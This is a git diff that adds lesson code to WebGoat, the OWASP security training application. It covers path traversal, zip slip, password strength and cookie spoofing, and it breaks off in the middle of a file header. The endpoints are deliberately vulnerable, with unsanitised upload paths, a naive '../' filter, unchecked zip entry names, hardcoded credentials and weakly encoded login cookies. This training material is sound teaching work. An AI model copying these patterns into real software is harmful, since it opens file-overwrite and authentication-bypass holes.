a/src/main/java/org/owasp/webgoat/lessons/pathtraversal/PathTraversal.java b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/PathTraversal.java new file mode 100644 index 000000000..ef61ae901 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/PathTraversal.java @@ -0,0 +1,41 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.pathtraversal; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class PathTraversal extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.A3; + } + + @Override + public String getTitle() { + return "path-traversal-title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUpload.java b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUpload.java new file mode 100644 index 000000000..6c76cede7 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUpload.java @@ -0,0 +1,47 @@ +package org.owasp.webgoat.lessons.pathtraversal; + +import static org.springframework.http.MediaType.ALL_VALUE; +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.multipart.MultipartFile; + +@RestController +@AssignmentHints({ + "path-traversal-profile.hint1", + "path-traversal-profile.hint2", + "path-traversal-profile.hint3" +}) +public class ProfileUpload extends ProfileUploadBase { + + public ProfileUpload( + @Value("${webgoat.server.directory}") String webGoatHomeDirectory, WebSession webSession) { + super(webGoatHomeDirectory, webSession); + } + + @PostMapping( + value = "/PathTraversal/profile-upload", + consumes = ALL_VALUE, + produces = APPLICATION_JSON_VALUE) + @ResponseBody + public AttackResult uploadFileHandler( + @RequestParam("uploadedFile") MultipartFile file, + @RequestParam(value = "fullName", required = false) String fullName) { + return super.execute(file, fullName); + } + + @GetMapping("/PathTraversal/profile-picture") + @ResponseBody + public ResponseEntity getProfilePicture() { + return super.getProfilePicture(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadBase.java b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadBase.java new file mode 100644 index 000000000..131f1674a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadBase.java @@ -0,0 +1,122 @@ +package org.owasp.webgoat.lessons.pathtraversal; + +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.nio.file.Files; +import java.util.Arrays; +import java.util.Base64; +import java.util.List; +import lombok.AllArgsConstructor; +import lombok.Getter; +import lombok.SneakyThrows; +import org.apache.commons.io.FilenameUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.util.FileCopyUtils; +import org.springframework.util.FileSystemUtils; +import org.springframework.util.StringUtils; +import org.springframework.web.multipart.MultipartFile; + +@AllArgsConstructor +@Getter +public class ProfileUploadBase extends AssignmentEndpoint { + + private String webGoatHomeDirectory; + private WebSession webSession; + + protected AttackResult execute(MultipartFile file, String fullName) { + if (file.isEmpty()) { + return failed(this).feedback("path-traversal-profile-empty-file").build(); + } + if (StringUtils.isEmpty(fullName)) { + return failed(this).feedback("path-traversal-profile-empty-name").build(); + } + + File uploadDirectory = cleanupAndCreateDirectoryForUser(); + + try { + var uploadedFile = new File(uploadDirectory, fullName); + uploadedFile.createNewFile(); + FileCopyUtils.copy(file.getBytes(), uploadedFile); + + if (attemptWasMade(uploadDirectory, uploadedFile)) { + return solvedIt(uploadedFile); + } + return informationMessage(this) + .feedback("path-traversal-profile-updated") + .feedbackArgs(uploadedFile.getAbsoluteFile()) + .build(); + + } catch (IOException e) { + return failed(this).output(e.getMessage()).build(); + } + } + + @SneakyThrows + protected File cleanupAndCreateDirectoryForUser() { + var uploadDirectory = + new File(this.webGoatHomeDirectory, "/PathTraversal/" + webSession.getUserName()); + if (uploadDirectory.exists()) { + FileSystemUtils.deleteRecursively(uploadDirectory); + } + Files.createDirectories(uploadDirectory.toPath()); + return uploadDirectory; + } + + private boolean attemptWasMade(File expectedUploadDirectory, File uploadedFile) + throws IOException { + return !expectedUploadDirectory + .getCanonicalPath() + .equals(uploadedFile.getParentFile().getCanonicalPath()); + } + + private AttackResult solvedIt(File uploadedFile) throws IOException { + if (uploadedFile.getCanonicalFile().getParentFile().getName().endsWith("PathTraversal")) { + return success(this).build(); + } + return failed(this) + .attemptWasMade() + .feedback("path-traversal-profile-attempt") + .feedbackArgs(uploadedFile.getCanonicalPath()) + .build(); + } + + public ResponseEntity getProfilePicture() { + return ResponseEntity.ok() + .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE)) + .body(getProfilePictureAsBase64()); + } + + protected byte[] getProfilePictureAsBase64() { + var profilePictureDirectory = + new File(this.webGoatHomeDirectory, "/PathTraversal/" + webSession.getUserName()); + var profileDirectoryFiles = profilePictureDirectory.listFiles(); + + if (profileDirectoryFiles != null && profileDirectoryFiles.length > 0) { + return Arrays.stream(profileDirectoryFiles) + .filter(file -> FilenameUtils.isExtension(file.getName(), List.of("jpg", "png"))) + .findFirst() + .map( + file -> { + try (var inputStream = new FileInputStream(profileDirectoryFiles[0])) { + return Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(inputStream)); + } catch (IOException e) { + return defaultImage(); + } + }) + .orElse(defaultImage()); + } else { + return defaultImage(); + } + } + + @SneakyThrows + protected byte[] defaultImage() { + var inputStream = getClass().getResourceAsStream("/images/account.png"); + return Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(inputStream)); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadFix.java b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadFix.java new file mode 100644 index 000000000..90c0589b9 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadFix.java @@ -0,0 +1,47 @@ +package org.owasp.webgoat.lessons.pathtraversal; + +import static org.springframework.http.MediaType.ALL_VALUE; +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.multipart.MultipartFile; + +@RestController +@AssignmentHints({ + "path-traversal-profile-fix.hint1", + "path-traversal-profile-fix.hint2", + "path-traversal-profile-fix.hint3" +}) +public class ProfileUploadFix extends ProfileUploadBase { + + public ProfileUploadFix( + @Value("${webgoat.server.directory}") String webGoatHomeDirectory, WebSession webSession) { + super(webGoatHomeDirectory, webSession); + } + + @PostMapping( + value = "/PathTraversal/profile-upload-fix", + consumes = ALL_VALUE, + produces = APPLICATION_JSON_VALUE) + @ResponseBody + public AttackResult uploadFileHandler( + @RequestParam("uploadedFileFix") MultipartFile file, + @RequestParam(value = "fullNameFix", required = false) String fullName) { + return super.execute(file, fullName != null ? fullName.replace("../", "") : ""); + } + + @GetMapping("/PathTraversal/profile-picture-fix") + @ResponseBody + public ResponseEntity getProfilePicture() { + return super.getProfilePicture(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadRemoveUserInput.java b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadRemoveUserInput.java new file mode 100644 index 000000000..95971df26 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadRemoveUserInput.java @@ -0,0 +1,38 @@ +package org.owasp.webgoat.lessons.pathtraversal; + +import static org.springframework.http.MediaType.ALL_VALUE; +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.multipart.MultipartFile; + +@RestController +@AssignmentHints({ + "path-traversal-profile-remove-user-input.hint1", + "path-traversal-profile-remove-user-input.hint2", + "path-traversal-profile-remove-user-input.hint3" +}) +public class ProfileUploadRemoveUserInput extends ProfileUploadBase { + + public ProfileUploadRemoveUserInput( + @Value("${webgoat.server.directory}") String webGoatHomeDirectory, WebSession webSession) { + super(webGoatHomeDirectory, webSession); + } + + @PostMapping( + value = "/PathTraversal/profile-upload-remove-user-input", + consumes = ALL_VALUE, + produces = APPLICATION_JSON_VALUE) + @ResponseBody + public AttackResult uploadFileHandler( + @RequestParam("uploadedFileRemoveUserInput") MultipartFile file) { + return super.execute(file, file.getOriginalFilename()); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadRetrieval.java b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadRetrieval.java new file mode 100644 index 000000000..f52bed34a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadRetrieval.java @@ -0,0 +1,116 @@ +package org.owasp.webgoat.lessons.pathtraversal; + +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.net.URI; +import java.net.URISyntaxException; +import java.nio.file.Files; +import java.util.Base64; +import javax.annotation.PostConstruct; +import javax.servlet.http.HttpServletRequest; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.RandomUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.core.io.ClassPathResource; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.security.core.token.Sha512DigestUtils; +import org.springframework.util.FileCopyUtils; +import org.springframework.util.StringUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "path-traversal-profile-retrieve.hint1", + "path-traversal-profile-retrieve.hint2", + "path-traversal-profile-retrieve.hint3", + "path-traversal-profile-retrieve.hint4", + "path-traversal-profile-retrieve.hint5", + "path-traversal-profile-retrieve.hint6" +}) +@Slf4j +public class ProfileUploadRetrieval extends AssignmentEndpoint { + + private final File catPicturesDirectory; + + public ProfileUploadRetrieval(@Value("${webgoat.server.directory}") String webGoatHomeDirectory) { + this.catPicturesDirectory = new File(webGoatHomeDirectory, "/PathTraversal/" + "/cats"); + this.catPicturesDirectory.mkdirs(); + } + + @PostConstruct + public void initAssignment() { + for (int i = 1; i <= 10; i++) { + try (InputStream is = + new ClassPathResource("lessons/pathtraversal/images/cats/" + i + ".jpg") + .getInputStream()) { + FileCopyUtils.copy(is, new FileOutputStream(new File(catPicturesDirectory, i + ".jpg"))); + } catch (Exception e) { + log.error("Unable to copy pictures" + e.getMessage()); + } + } + var secretDirectory = this.catPicturesDirectory.getParentFile().getParentFile(); + try { + Files.writeString( + secretDirectory.toPath().resolve("path-traversal-secret.jpg"), + "You found it submit the SHA-512 hash of your username as answer"); + } catch (IOException e) { + log.error("Unable to write secret in: {}", secretDirectory, e); + } + } + + @PostMapping("/PathTraversal/random") + @ResponseBody + public AttackResult execute(@RequestParam(value = "secret", required = false) String secret) { + if (Sha512DigestUtils.shaHex(getWebSession().getUserName()).equalsIgnoreCase(secret)) { + return success(this).build(); + } + return failed(this).build(); + } + + @GetMapping("/PathTraversal/random-picture") + @ResponseBody + public ResponseEntity getProfilePicture(HttpServletRequest request) { + var queryParams = request.getQueryString(); + if (queryParams != null && (queryParams.contains("..") || queryParams.contains("/"))) { + return ResponseEntity.badRequest() + .body("Illegal characters are not allowed in the query params"); + } + try { + var id = request.getParameter("id"); + var catPicture = + new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + ".jpg"); + + if (catPicture.getName().toLowerCase().contains("path-traversal-secret.jpg")) { + return ResponseEntity.ok() + .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE)) + .body(FileCopyUtils.copyToByteArray(catPicture)); + } + if (catPicture.exists()) { + return ResponseEntity.ok() + .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE)) + .location(new URI("/PathTraversal/random-picture?id=" + catPicture.getName())) + .body(Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(catPicture))); + } + return ResponseEntity.status(HttpStatus.NOT_FOUND) + .location(new URI("/PathTraversal/random-picture?id=" + catPicture.getName())) + .body( + StringUtils.arrayToCommaDelimitedString(catPicture.getParentFile().listFiles()) + .getBytes()); + } catch (IOException | URISyntaxException e) { + log.error("Image not found", e); + } + + return ResponseEntity.badRequest().build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileZipSlip.java b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileZipSlip.java new file mode 100644 index 000000000..49c7b15c3 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileZipSlip.java @@ -0,0 +1,102 @@ +package org.owasp.webgoat.lessons.pathtraversal; + +import static org.springframework.http.MediaType.ALL_VALUE; +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.nio.file.Files; +import java.nio.file.StandardCopyOption; +import java.util.Arrays; +import java.util.Enumeration; +import java.util.zip.ZipEntry; +import java.util.zip.ZipFile; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.ResponseEntity; +import org.springframework.util.FileCopyUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.multipart.MultipartFile; + +@RestController +@AssignmentHints({ + "path-traversal-zip-slip.hint1", + "path-traversal-zip-slip.hint2", + "path-traversal-zip-slip.hint3", + "path-traversal-zip-slip.hint4" +}) +@Slf4j +public class ProfileZipSlip extends ProfileUploadBase { + + public ProfileZipSlip( + @Value("${webgoat.server.directory}") String webGoatHomeDirectory, WebSession webSession) { + super(webGoatHomeDirectory, webSession); + } + + @PostMapping( + value = "/PathTraversal/zip-slip", + consumes = ALL_VALUE, + produces = APPLICATION_JSON_VALUE) + @ResponseBody + public AttackResult uploadFileHandler(@RequestParam("uploadedFileZipSlip") MultipartFile file) { + if (!file.getOriginalFilename().toLowerCase().endsWith(".zip")) { + return failed(this).feedback("path-traversal-zip-slip.no-zip").build(); + } else { + return processZipUpload(file); + } + } + + @SneakyThrows + private AttackResult processZipUpload(MultipartFile file) { + var tmpZipDirectory = Files.createTempDirectory(getWebSession().getUserName()); + cleanupAndCreateDirectoryForUser(); + var currentImage = getProfilePictureAsBase64(); + + try { + var uploadedZipFile = tmpZipDirectory.resolve(file.getOriginalFilename()); + FileCopyUtils.copy(file.getBytes(), uploadedZipFile.toFile()); + + ZipFile zip = new ZipFile(uploadedZipFile.toFile()); + Enumeration entries = zip.entries(); + while (entries.hasMoreElements()) { + ZipEntry e = entries.nextElement(); + File f = new File(tmpZipDirectory.toFile(), e.getName()); + InputStream is = zip.getInputStream(e); + Files.copy(is, f.toPath(), StandardCopyOption.REPLACE_EXISTING); + } + + return isSolved(currentImage, getProfilePictureAsBase64()); + } catch (IOException e) { + return failed(this).output(e.getMessage()).build(); + } + } + + private AttackResult isSolved(byte[] currentImage, byte[] newImage) { + if (Arrays.equals(currentImage, newImage)) { + return failed(this).output("path-traversal-zip-slip.extracted").build(); + } + return success(this).output("path-traversal-zip-slip.extracted").build(); + } + + @GetMapping("/PathTraversal/zip-slip/") + @ResponseBody + public ResponseEntity getProfilePicture() { + return super.getProfilePicture(); + } + + @GetMapping("/PathTraversal/zip-slip/profile-image/{username}") + @ResponseBody + public ResponseEntity getProfilePicture(@PathVariable("username") String username) { + return ResponseEntity.notFound().build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/securepasswords/SecurePasswords.java b/src/main/java/org/owasp/webgoat/lessons/securepasswords/SecurePasswords.java new file mode 100644 index 000000000..99a62aeff --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/securepasswords/SecurePasswords.java @@ -0,0 +1,45 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.securepasswords; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * @author BenediktStuhrmann + * @since 12/2/18. + */ +@Component +public class SecurePasswords extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.A7; + } + + @Override + public String getTitle() { + return "secure-passwords.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/securepasswords/SecurePasswordsAssignment.java b/src/main/java/org/owasp/webgoat/lessons/securepasswords/SecurePasswordsAssignment.java new file mode 100644 index 000000000..5b9932d36 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/securepasswords/SecurePasswordsAssignment.java @@ -0,0 +1,118 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.securepasswords; + +import com.nulabinc.zxcvbn.Strength; +import com.nulabinc.zxcvbn.Zxcvbn; +import java.text.DecimalFormat; +import java.text.DecimalFormatSymbols; +import java.util.Locale; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class SecurePasswordsAssignment extends AssignmentEndpoint { + + @PostMapping("SecurePasswords/assignment") + @ResponseBody + public AttackResult completed(@RequestParam String password) { + Zxcvbn zxcvbn = new Zxcvbn(); + StringBuilder output = new StringBuilder(); + DecimalFormat df = new DecimalFormat("0", DecimalFormatSymbols.getInstance(Locale.ENGLISH)); + df.setMaximumFractionDigits(340); + Strength strength = zxcvbn.measure(password); + + output.append("Your Password: *******
"); + output.append("Length: " + password.length() + "
"); + output.append( + "Estimated guesses needed to crack your password: " + + df.format(strength.getGuesses()) + + "
"); + output.append( + "

Score: " + + strength.getScore() + + "/4
"); + if (strength.getScore() <= 1) { + output.append( + "
 

"); + } else if (strength.getScore() <= 3) { + output.append( + "
 

"); + } else { + output.append( + "
 

"); + } + output.append( + "Estimated cracking time: " + + calculateTime( + (long) strength.getCrackTimeSeconds().getOnlineNoThrottling10perSecond()) + + "
"); + if (strength.getFeedback().getWarning().length() != 0) + output.append("Warning: " + strength.getFeedback().getWarning() + "
"); + // possible feedback: https://github.com/dropbox/zxcvbn/blob/master/src/feedback.coffee + // maybe ask user to try also weak passwords to see and understand feedback? + if (strength.getFeedback().getSuggestions().size() != 0) { + output.append("Suggestions:
    "); + for (String sug : strength.getFeedback().getSuggestions()) + output.append("
  • " + sug + "
  • "); + output.append("

"); + } + output.append("Score: " + strength.getScore() + "/4
"); + + if (strength.getScore() >= 4) + return success(this).feedback("securepassword-success").output(output.toString()).build(); + else return failed(this).feedback("securepassword-failed").output(output.toString()).build(); + } + + public static String calculateTime(long seconds) { + int s = 1; + int min = (60 * s); + int hr = (60 * min); + int d = (24 * hr); + int yr = (365 * d); + + long years = seconds / (d) / 365; + long days = (seconds % yr) / (d); + long hours = (seconds % d) / (hr); + long minutes = (seconds % hr) / (min); + long sec = (seconds % min * s); + + return (years + + " years " + + days + + " days " + + hours + + " hours " + + minutes + + " minutes " + + sec + + " seconds"); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/spoofcookie/SpoofCookie.java b/src/main/java/org/owasp/webgoat/lessons/spoofcookie/SpoofCookie.java new file mode 100644 index 000000000..f9552416e --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/spoofcookie/SpoofCookie.java @@ -0,0 +1,47 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.spoofcookie; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +@Component +public class SpoofCookie extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.A1; + } + + @Override + public String getTitle() { + return "spoofcookie.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/spoofcookie/SpoofCookieAssignment.java b/src/main/java/org/owasp/webgoat/lessons/spoofcookie/SpoofCookieAssignment.java new file mode 100644 index 000000000..2efc739f6 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/spoofcookie/SpoofCookieAssignment.java @@ -0,0 +1,125 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.spoofcookie; + +import java.util.Map; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.spoofcookie.encoders.EncDec; +import org.springframework.web.bind.UnsatisfiedServletRequestParameterException; +import org.springframework.web.bind.annotation.CookieValue; +import org.springframework.web.bind.annotation.ExceptionHandler; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +@RestController +public class SpoofCookieAssignment extends AssignmentEndpoint { + + private static final String COOKIE_NAME = "spoof_auth"; + private static final String COOKIE_INFO = + "Cookie details for user %s:
" + COOKIE_NAME + "=%s"; + private static final String ATTACK_USERNAME = "tom"; + + private static final Map users = + Map.of("webgoat", "webgoat", "admin", "admin", ATTACK_USERNAME, "apasswordfortom"); + + @PostMapping(path = "/SpoofCookie/login") + @ResponseBody + @ExceptionHandler(UnsatisfiedServletRequestParameterException.class) + public AttackResult login( + @RequestParam String username, + @RequestParam String password, + @CookieValue(value = COOKIE_NAME, required = false) String cookieValue, + HttpServletResponse response) { + + if (StringUtils.isEmpty(cookieValue)) { + return credentialsLoginFlow(username, password, response); + } else { + return cookieLoginFlow(cookieValue); + } + } + + @GetMapping(path = "/SpoofCookie/cleanup") + public void cleanup(HttpServletResponse response) { + Cookie cookie = new Cookie(COOKIE_NAME, ""); + cookie.setMaxAge(0); + response.addCookie(cookie); + } + + private AttackResult credentialsLoginFlow( + String username, String password, HttpServletResponse response) { + String lowerCasedUsername = username.toLowerCase(); + if (ATTACK_USERNAME.equals(lowerCasedUsername) + && users.get(lowerCasedUsername).equals(password)) { + return informationMessage(this).feedback("spoofcookie.cheating").build(); + } + + String authPassword = users.getOrDefault(lowerCasedUsername, ""); + if (!authPassword.isBlank() && authPassword.equals(password)) { + String newCookieValue = EncDec.encode(lowerCasedUsername); + Cookie newCookie = new Cookie(COOKIE_NAME, newCookieValue); + newCookie.setPath("/WebGoat"); + newCookie.setSecure(true); + response.addCookie(newCookie); + return informationMessage(this) + .feedback("spoofcookie.login") + .output(String.format(COOKIE_INFO, lowerCasedUsername, newCookie.getValue())) + .build(); + } + + return informationMessage(this).feedback("spoofcookie.wrong-login").build(); + } + + private AttackResult cookieLoginFlow(String cookieValue) { + String cookieUsername; + try { + cookieUsername = EncDec.decode(cookieValue).toLowerCase(); + } catch (Exception e) { + // for providing some instructive guidance, we won't return 4xx error here + return failed(this).output(e.getMessage()).build(); + } + if (users.containsKey(cookieUsername)) { + if (cookieUsername.equals(ATTACK_USERNAME)) { + return success(this).build(); + } + return failed(this) + .feedback("spoofcookie.cookie-login") + .output(String.format(COOKIE_INFO, cookieUsername, cookieValue)) + .build(); + } + + return failed(this).feedback("spoofcookie.wrong-cookie").build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/spoofcookie/encoders/EncDec.java b/src/main/java/org/owasp/webgoat/lessons/spoofcookie/encoders/EncDec.java new file mode 100644 index 000000000..d5aa4cf7d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/spoofcookie/encoders/EncDec.java @@ -0,0 +1,88 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, 